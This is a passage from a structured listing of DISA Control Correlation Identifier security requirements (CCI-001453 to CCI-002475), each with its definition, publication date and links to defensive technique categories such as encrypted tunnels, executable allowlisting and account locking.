date published: 2009-05-25T00:00:00

CCI-001453
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to protect the integrity of remote access sessions.
exactly: EncryptedTunnels
member-of: CCICatalog v2022-04-05
date published: 2009-09-29T00:00:00

CCI-001454
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization ensures that remote sessions for accessing an organization-defined list of security functions and security-relevant information are audited.
member-of: CCICatalog v2022-04-05
narrower: RemoteTerminalSessionDetection
date published: 2009-09-29T00:00:00

CCI-001493
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system protects audit tools from unauthorized access.
member-of: CCICatalog v2022-04-05
date published: 2009-09-29T00:00:00

CCI-001494
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system protects audit tools from unauthorized modification.
member-of: CCICatalog v2022-04-05
narrower: PlatformHardening
narrower: SystemConfigurationPermissions
date published: 2009-09-29T00:00:00

CCI-001495
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system protects audit tools from unauthorized deletion.
member-of: CCICatalog v2022-04-05
narrower: PlatformHardening
date published: 2009-09-29T00:00:00

CCI-001496
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to protect the integrity of audit tools.
member-of: CCICatalog v2022-04-05
narrower: FileEncryption
date published: 2009-09-29T00:00:00

CCI-001499
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization limits privileges to change software resident within software libraries.
member-of: CCICatalog v2022-04-05
narrower: SystemConfigurationPermissions
narrower: UserAccountPermissions
date published: 2009-09-29T00:00:00

CCI-001555
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uniquely identifies destination domains for information transfer.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2010-05-11T00:00:00

CCI-001556
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uniquely authenticates destination domains for information transfer.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2010-05-11T00:00:00

CCI-001557
type: CCIControl
type: NamedIndividual
broader: NetworkTrafficAnalysis
contributor: DISA FSO
definition: The information system tracks problems associated with the information transfer.
member-of: CCICatalog v2022-04-05
date published: 2010-05-11T00:00:00

CCI-001574
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system rejects or delays, as defined by the organization, network traffic which exceed the organization-defined thresholds.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2010-05-11T00:00:00

CCI-001589
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization incorporates detection of unauthorized, security-relevant configuration changes into the organization‚Äôs incident response capability to ensure they are tracked.
member-of: CCICatalog v2022-04-05
narrower: OperatingSystemMonitoring
date published: 2010-05-12T00:00:00

CCI-001619
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces password complexity by the minimum number of special characters used.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2010-05-12T00:00:00

CCI-001632
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization protects nonlocal maintenance sessions by separating the maintenance session from other network sessions with the information system by either physically separated communications paths or logically separated communications paths based upon encryption.
exactly: EncryptedTunnels
member-of: CCICatalog v2022-04-05
date published: 2010-05-12T00:00:00

CCI-001662
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system takes organization-defined corrective action when organization-defined unacceptable mobile code is identified.
member-of: CCICatalog v2022-04-05
narrower: DynamicAnalysis
narrower: EmulatedFileAnalysis
narrower: FileContentRules
date published: 2010-05-12T00:00:00

CCI-001668
type: CCIControl
type: NamedIndividual
broader: FileAnalysis
broader: NetworkTrafficAnalysis
broader: PlatformMonitoring
broader: ProcessAnalysis
contributor: DISA FSO
definition: The organization employs malicious code protection mechanisms at workstations, servers, or mobile computing devices on the network to detect and eradicate malicious code transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means or inserted through the exploitation of information system vulnerabilities.
member-of: CCICatalog v2022-04-05
date published: 2010-05-12T00:00:00

CCI-001677
type: CCIControl
type: NamedIndividual
broader: MessageAuthentication
broader: SenderMTAReputationAnalysis
broader: SenderReputationAnalysis
broader: TransferAgentAuthentication
contributor: DISA FSO
definition: The organization employs spam protection mechanisms at workstations, servers, or mobile computing devices on the network to detect and take action on unsolicited messages transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means.
member-of: CCICatalog v2022-04-05
date published: 2010-05-12T00:00:00

CCI-001682
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system automatically removes or disables emergency accounts after an organization-defined time period for each type of account.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
date published: 2011-05-03T00:00:00

CCI-001683
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system notifies organization-defined personnel or roles for account creation actions.
member-of: CCICatalog v2022-04-05
narrower: DomainAccountMonitoring
date published: 2011-05-03T00:00:00

CCI-001684
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system notifies organization-defined personnel or roles for account modification actions.
member-of: CCICatalog v2022-04-05
narrower: DomainAccountMonitoring
date published: 2011-05-03T00:00:00

CCI-001685
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system notifies organization-defined personnel or roles for account disabling actions.
member-of: CCICatalog v2022-04-05
narrower: DomainAccountMonitoring
date published: 2011-05-03T00:00:00

CCI-001686
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system notifies organization-defined personnel or roles for account removal actions.
member-of: CCICatalog v2022-04-05
narrower: DomainAccountMonitoring
date published: 2011-05-03T00:00:00

CCI-001695
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents the execution of organization-defined unacceptable mobile code.
member-of: CCICatalog v2022-04-05
narrower: ExecutableDenylisting
date published: 2011-10-07T00:00:00

CCI-001744
type: CCIControl
type: NamedIndividual
broader: OperatingSystemMonitoring
contributor: DISA FSO
definition: The information system implements organization-defined security responses automatically if baseline configurations are changed in an unauthorized manner.
member-of: CCICatalog v2022-04-05
date published: 2013-02-28T00:00:00

CCI-001749
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents the installation of organization-defined software components without verification the software component has been digitally signed using a certificate that is recognized and approved by the organization.
member-of: CCICatalog v2022-04-05
narrower: ExecutableAllowlisting
narrower: ExecutableDenylisting
date published: 2013-02-28T00:00:00

CCI-001762
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization disables organization-defined functions, ports, protocols, and services within the information system deemed to be unnecessary and/or nonsecure.
member-of: CCICatalog v2022-04-05
narrower: SystemConfigurationPermissions
date published: 2013-02-28T00:00:00

CCI-001764
type: CCIControl
type: NamedIndividual
broader: ExecutableAllowlisting
broader: ExecutableDenylisting
contributor: DISA FSO
definition: The information system prevents program execution in accordance with organization-defined policies regarding software program usage and restrictions, and/or rules authorizing the terms and conditions of software program usage.
member-of: CCICatalog v2022-04-05
date published: 2013-02-28T00:00:00

CCI-001767
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs an allow-all, deny-by-exception policy to prohibit the execution of unauthorized software programs on the information system.
member-of: CCICatalog v2022-04-05
narrower: ExecutableDenylisting
date published: 2013-02-28T00:00:00

CCI-001774
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs a deny-all, permit-by-exception policy to allow the execution of authorized software programs on the information system.
member-of: CCICatalog v2022-04-05
narrower: ExecutableAllowlisting
date published: 2013-02-28T00:00:00

CCI-001811
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system alerts organization-defined personnel or roles when the unauthorized installation of software is detected.
member-of: CCICatalog v2022-04-05
narrower: FileAnalysis
date published: 2013-03-01T00:00:00

CCI-001812
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prohibits user installation of software without explicit privileged status.
member-of: CCICatalog v2022-04-05
narrower: ExecutableAllowlisting
narrower: ExecutableDenylisting
date published: 2013-03-01T00:00:00

CCI-001813
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system enforces access restrictions.
member-of: CCICatalog v2022-04-05
date published: 2013-03-01T00:00:00

CCI-001855
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides a warning to organization-defined personnel, roles, and/or locations within an organization-defined time period when allocated audit record storage volume reaches an organization-defined percentage of repository maximum audit record storage capacity.
member-of: CCICatalog v2022-04-05
narrower: SystemDaemonMonitoring
date published: 2013-03-14T00:00:00

CCI-001858
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides a real-time alert in an organization-defined real-time period to organization-defined personnel, roles, and/or locations when organization-defined audit failure events requiring real-time alerts occur.
member-of: CCICatalog v2022-04-05
narrower: SystemDaemonMonitoring
date published: 2013-03-14T00:00:00

CCI-001936
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements multifactor authentication for network access to privileged accounts such that one of the factors is provided by a device separate from the system gaining access.
member-of: CCICatalog v2022-04-05
narrower: Multi-factorAuthentication
date published: 2013-05-03T00:00:00

CCI-001937
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The device used in the information system implementation of multifactor authentication for network access to privileged accounts meets organization-defined strength of mechanism requirements.
member-of: CCICatalog v2022-04-05
narrower: Multi-factorAuthentication
date published: 2013-05-03T00:00:00

CCI-001941
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements replay-resistant authentication mechanisms for network access to privileged accounts.
member-of: CCICatalog v2022-04-05
narrower: One-timePassword
date published: 2013-05-03T00:00:00

CCI-001953
type: CCIControl
type: NamedIndividual
broader: BiometricAuthentication
broader: Certificate-basedAuthentication
contributor: DISA FSO
definition: The information system accepts Personal Identity Verification (PIV) credentials.
member-of: CCICatalog v2022-04-05
date published: 2013-05-03T00:00:00

CCI-001954
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system electronically verifies Personal Identity Verification (PIV) credentials.
member-of: CCICatalog v2022-04-05
narrower: BiometricAuthentication
narrower: Certificate-basedAuthentication
date published: 2013-05-03T00:00:00

CCI-001957
type: CCIControl
type: NamedIndividual
broader: One-timePassword
contributor: DISA FSO
definition: The information system implements organization-defined out-of-band authentication under organization-defined conditions.
member-of: CCICatalog v2022-04-05
date published: 2013-05-03T00:00:00

CCI-001991
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, for PKI-based authentication, implements a local cache of revocation data to support path discovery and validation in case of inability to access revocation information via the network.
member-of: CCICatalog v2022-04-05
narrower: Certificate-basedAuthentication
date published: 2013-05-03T00:00:00

CCI-002005
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, for biometric-based authentication, employs mechanisms that satisfy organization-defined biometric quality requirements.
member-of: CCICatalog v2022-04-05
narrower: BiometricAuthentication
date published: 2013-05-03T00:00:00

CCI-002009
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system accepts Personal Identity Verification (PIV) credentials from other federal agencies.
member-of: CCICatalog v2022-04-05
narrower: BiometricAuthentication
narrower: Certificate-basedAuthentication
date published: 2013-05-03T00:00:00

CCI-002010
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system electronically verifies Personal Identity Verification (PIV) credentials from other federal agencies.
member-of: CCICatalog v2022-04-05
narrower: BiometricAuthentication
narrower: Certificate-basedAuthentication
date published: 2013-05-03T00:00:00

CCI-002015
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system accepts Personal Identity Verification-I (PIV-I) credentials.
member-of: CCICatalog v2022-04-05
narrower: BiometricAuthentication
narrower: Certificate-basedAuthentication
date published: 2013-05-03T00:00:00

CCI-002016
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system electronically verifies Personal Identity Verification-I (PIV-I) credentials.
member-of: CCICatalog v2022-04-05
narrower: BiometricAuthentication
narrower: Certificate-basedAuthentication
date published: 2013-05-03T00:00:00

CCI-002041
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system allows the use of a temporary password for system logons with an immediate change to a permanent password.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2013-05-03T00:00:00

CCI-002145
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces organization-defined circumstances and/or usage conditions for organization-defined information system accounts.
member-of: CCICatalog v2022-04-05
narrower: UserAccountPermissions
date published: 2013-06-24T00:00:00

CCI-002165
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces organization-defined discretionary access control policies over defined subjects and objects.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002169
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces a role-based access control policy over defined subjects and objects.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002178
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces the revocation of access authorizations resulting from changes to the security attributes of subjects based on organization-defined rules governing the timing of revocations of access authorizations.
member-of: CCICatalog v2022-04-05
narrower: SystemCallFiltering
date published: 2013-06-24T00:00:00

CCI-002179
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces the revocation of access authorizations resulting from changes to the security attributes of objects based on organization-defined rules governing the timing of revocations of access authorizations.
member-of: CCICatalog v2022-04-05
narrower: SystemCallFiltering
date published: 2013-06-24T00:00:00

CCI-002201
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, when transferring information between different security domains, uses organization-defined data type identifiers to validate data essential for information flow decisions.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2013-06-24T00:00:00

CCI-002205
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uniquely identifies and authenticates source by organization, system, application, and/or individual for information transfer.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2013-06-24T00:00:00

CCI-002207
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uniquely identifies and authenticates destination by organization, system, application, and/or individual for information transfer.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2013-06-24T00:00:00

CCI-002211
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, when transferring information between different security domains, applies the same security policy filtering to metadata as it applies to data payloads.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2013-06-24T00:00:00

CCI-002218
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides access from a single device to computing platforms, applications, or data residing on multiple different security domains, while preventing any information flow between the different security domains.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2013-06-24T00:00:00

CCI-002233
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents organization-defined software from executing at higher privilege levels than users executing the software.
member-of: CCICatalog v2022-04-05
narrower: ExecutableDenylisting
date published: 2013-06-24T00:00:00

CCI-002235
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents non-privileged users from executing privileged functions to include disabling, circumventing, or altering implemented security safeguards/countermeasures.
member-of: CCICatalog v2022-04-05
narrower: SystemConfigurationPermissions
date published: 2013-06-24T00:00:00

CCI-002238
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system automatically locks the account or node for either an organization-defined time period, until the locked account or node is released by an administrator, or delays the next logon prompt according to the organization-defined delay algorithm when the maximum number of unsuccessful logon attempts is exceeded.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
date published: 2013-06-24T00:00:00

CCI-002262
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The organization provides the means to associate organization-defined types of security attributes having organization-defined security attribute values with information in storage.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002263
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The organization provides the means to associate organization-defined types of security attributes having organization-defined security attribute values with information in process.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002264
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The organization provides the means to associate organization-defined types of security attributes having organization-defined security attribute values with information in transmission.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002272
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system dynamically associates security attributes with organization-defined objects in accordance with organization-defined security policies as information is created and combined.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002277
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system provides authorized individuals (or processes acting on behalf of individuals) the capability to define the value of associated security attributes.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002281
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system maintains the association of organization-defined security attributes to organization-defined subjects.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002282
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system maintains the association of organization-defined security attributes to organization-defined objects.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002283
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system maintains the integrity of organization-defined security attributes associated with organization-defined subjects.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002284
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system maintains the integrity of organization-defined security attributes associated with organization-defined objects.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002289
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system supports the association of organization-defined security attributes with organization-defined subjects by authorized individuals (or processes acting on behalf of individuals).
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002290
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system supports the association of organization-defined security attributes with organization-defined objects by authorized individuals (or processes acting on behalf of individuals).
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002302
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system implements organization-defined techniques or technologies with an organization-defined level of assurance in associating security attributes to information.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002306
type: CCIControl
type: NamedIndividual
broader: SystemConfigurationPermissions
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system provides authorized individuals the capability to define or change the type of security attributes available for association with subjects.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002307
type: CCIControl
type: NamedIndividual
broader: SystemConfigurationPermissions
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system provides authorized individuals the capability to define or change the value of security attributes available for association with subjects.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002308
type: CCIControl
type: NamedIndividual
broader: SystemConfigurationPermissions
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system provides authorized individuals the capability to define or change the type of security attributes available for association with objects.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002309
type: CCIControl
type: NamedIndividual
broader: SystemConfigurationPermissions
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system provides authorized individuals the capability to define or change the value of security attributes available for association with objects.
member-of: CCICatalog v2022-04-05
date published: 2013-06-24T00:00:00

CCI-002322
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization provides the capability to expeditiously disconnect or disable remote access to the information system within the organization-defined time period.
member-of: CCICatalog v2022-04-05
narrower: RemoteTerminalSessionDetection
date published: 2013-06-24T00:00:00

CCI-002346
type: CCIControl
type: NamedIndividual
broader: DatabaseQueryStringAnalysis
broader: DiskEncryption
broader: FileEncryption
contributor: DISA FSO
definition: The organization employs organization-defined data mining prevention techniques for organization-defined data storage objects to adequately protect against data mining.
member-of: CCICatalog v2022-04-05
date published: 2013-06-25T00:00:00

CCI-002347
type: CCIControl
type: NamedIndividual
broader: FileAccessPatternAnalysis
broader: InputDeviceAnalysis
broader: ResourceAccessPatternAnalysis
broader: UserDataTransferAnalysis
contributor: DISA FSO
definition: The organization employs organization-defined data mining detection techniques for organization-defined data storage objects to adequately detect data mining attempts.
member-of: CCICatalog v2022-04-05
date published: 2013-06-25T00:00:00

CCI-002353
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system transmits organization-defined access authorization information using organization-defined security safeguards to organization-defined information systems which enforce access control decisions.
member-of: CCICatalog v2022-04-05
date published: 2013-06-25T00:00:00

CCI-002355
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system enforces access control decisions based on organization-defined security attributes that do not include the identity of the user or process acting on behalf of the user.
member-of: CCICatalog v2022-04-05
date published: 2013-06-25T00:00:00

CCI-002357
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements a reference monitor for organization-defined access control policies that is tamperproof.
member-of: CCICatalog v2022-04-05
narrower: UserAccountPermissions
date published: 2013-06-25T00:00:00

CCI-002358
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements a reference monitor for organization-defined access control policies that is always invoked.
member-of: CCICatalog v2022-04-05
narrower: UserAccountPermissions
date published: 2013-06-25T00:00:00

CCI-002359
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements a reference monitor for organization-defined access control policies that is small enough to be subject to analysis and testing, the completeness of which can be assured.
member-of: CCICatalog v2022-04-05
narrower: UserAccountPermissions
date published: 2013-06-25T00:00:00

CCI-002361
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system automatically terminates a user session after organization-defined conditions or trigger events requiring session disconnect.
member-of: CCICatalog v2022-04-05
narrower: ProcessTermination
date published: 2013-06-26T00:00:00

CCI-002363
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides a logout capability for user-initiated communications sessions whenever authentication is used to gain access to organization-defined information resources.
member-of: CCICatalog v2022-04-05
narrower: ProcessTermination
date published: 2013-06-26T00:00:00

CCI-002364
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system displays an explicit logout message to users indicating the reliable termination of authenticated communications sessions.
member-of: CCICatalog v2022-04-05
narrower: ProcessTermination
date published: 2013-06-26T00:00:00

CCI-002381
type: CCIControl
type: NamedIndividual
broader: Hardware-basedProcessIsolation
broader: Kernel-basedProcessIsolation
contributor: DISA FSO
definition: The organization minimizes the number of nonsecurity functions included within the isolation boundary containing security functions.
member-of: CCICatalog v2022-04-05
date published: 2013-07-02T00:00:00

CCI-002382
type: CCIControl
type: NamedIndividual
broader: Hardware-basedProcessIsolation
broader: Kernel-basedProcessIsolation
contributor: DISA FSO
definition: The organization implements security functions as largely independent modules that maximize internal cohesiveness within modules and minimize coupling between modules.
member-of: CCICatalog v2022-04-05
date published: 2013-07-02T00:00:00

CCI-002384
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents unauthorized information transfer via shared resources in accordance with organization-defined procedures when system processing explicitly switches between different information classification levels or security categories.
member-of: CCICatalog v2022-04-05
narrower: NetworkTrafficFiltering
date published: 2013-07-02T00:00:00

CCI-002385
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system protects against or limits the effects of organization-defined types of denial of service attacks by employing organization-defined security safeguards.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2013-07-02T00:00:00

CCI-002394
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system protects the availability of resources by allocating organization-defined resources based on priority, quota, and/or organization-defined security safeguards.
member-of: CCICatalog v2022-04-05
narrower: SystemConfigurationPermissions
date published: 2013-07-02T00:00:00

CCI-002397
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, in conjunction with a remote device, prevents the device from simultaneously establishing non-remote connections with the system and communicating via some other connection to resources in external networks.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2013-07-02T00:00:00

CCI-002400
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system audits the identity of internal users associated with denied outgoing communications traffic posing a threat to external information systems.
member-of: CCICatalog v2022-04-05
narrower: OutboundTrafficFiltering
date published: 2013-07-02T00:00:00

CCI-002403
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system only allows incoming communications from organization-defined authorized sources routed to organization-defined authorized destinations.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2013-07-02T00:00:00

CCI-002409
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system blocks both inbound and outbound communications traffic between organization-defined communication clients that are independently configured by end users and external service providers.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2013-07-02T00:00:00

CCI-002411
type: CCIControl
type: NamedIndividual
broader: Hardware-basedProcessIsolation
broader: IOPortRestriction
broader: Kernel-basedProcessIsolation
contributor: DISA FSO
definition: The information system provides the capability to dynamically isolate/segregate organization-defined information system components from other components of the system.
member-of: CCICatalog v2022-04-05
date published: 2013-07-02T00:00:00

CCI-002420
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system maintains the confidentiality and/or integrity of information during preparation for transmission.
member-of: CCICatalog v2022-04-05
narrower: EncryptedTunnels
date published: 2013-07-02T00:00:00

CCI-002421
type: CCIControl
type: NamedIndividual
broader: EncryptedTunnels
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to prevent unauthorized disclosure of information and/or detect changes to information during transmission unless otherwise protected by organization-defined alternative physical safeguards.
member-of: CCICatalog v2022-04-05
date published: 2013-07-02T00:00:00

CCI-002422
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system maintains the confidentiality and/or integrity of information during reception.
member-of: CCICatalog v2022-04-05
narrower: EncryptedTunnels
date published: 2013-07-02T00:00:00

CCI-002423
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to protect message externals (e.g., message headers and routing information) unless otherwise protected by organization-defined alternative physical safeguards.
member-of: CCICatalog v2022-04-05
narrower: EncryptedTunnels
date published: 2013-07-02T00:00:00

CCI-002425
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to conceal or randomize communication patterns unless otherwise protected by organization-defined alternative physical safeguards.
member-of: CCICatalog v2022-04-05
narrower: EncryptedTunnels
date published: 2013-07-02T00:00:00

CCI-002426
type: CCIControl
type: NamedIndividual
broader: EncryptedTunnels
contributor: DISA FSO
definition: The information system provides a trusted communications path that is logically isolated and distinguishable from other paths.
member-of: CCICatalog v2022-04-05
date published: 2013-07-02T00:00:00

CCI-002460
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces organization-defined actions prior to executing mobile code.
member-of: CCICatalog v2022-04-05
narrower: ExecutableDenylisting
date published: 2013-07-02T00:00:00

CCI-002462
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides additional data integrity verification artifacts along with the authoritative name resolution data the system returns in response to external name/address resolution queries.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2013-07-02T00:00:00

CCI-002463
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides data origin artifacts for internal name/address resolution queries.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2013-07-02T00:00:00

CCI-002464
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides data integrity protection artifacts for internal name/address resolution queries.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2013-07-02T00:00:00

CCI-002465
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system requests data origin authentication verification on the name/address resolution responses the system receives from authoritative sources.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2013-07-02T00:00:00

CCI-002466
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system requests data integrity verification on the name/address resolution responses the system receives from authoritative sources.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2013-07-02T00:00:00

CCI-002467
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system performs data integrity verification on the name/address resolution responses the system receives from authoritative sources.
member-of: CCICatalog v2022-04-05
narrower: DNSTrafficAnalysis
date published: 2013-07-02T00:00:00

CCI-002468
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system performs data origin verification authentication on the name/address resolution responses the system receives from authoritative sources.
member-of: CCICatalog v2022-04-05
narrower: DNSTrafficAnalysis
date published: 2013-07-02T00:00:00

CCI-002470
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system only allows the use of organization-defined certificate authorities for verification of the establishment of protected sessions.
member-of: CCICatalog v2022-04-05
narrower: Certificate-basedAuthentication
narrower: CertificatePinning
date published: 2013-07-02T00:00:00

CCI-002475
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to prevent unauthorized modification of organization-defined information at rest on organization-defined information system components.
member-of: CCICatalog v2022-04-05
narrower: DiskEncryption
narrower: FileEncryption
date published: 2013-07-02T00:00:00

CCI-002476
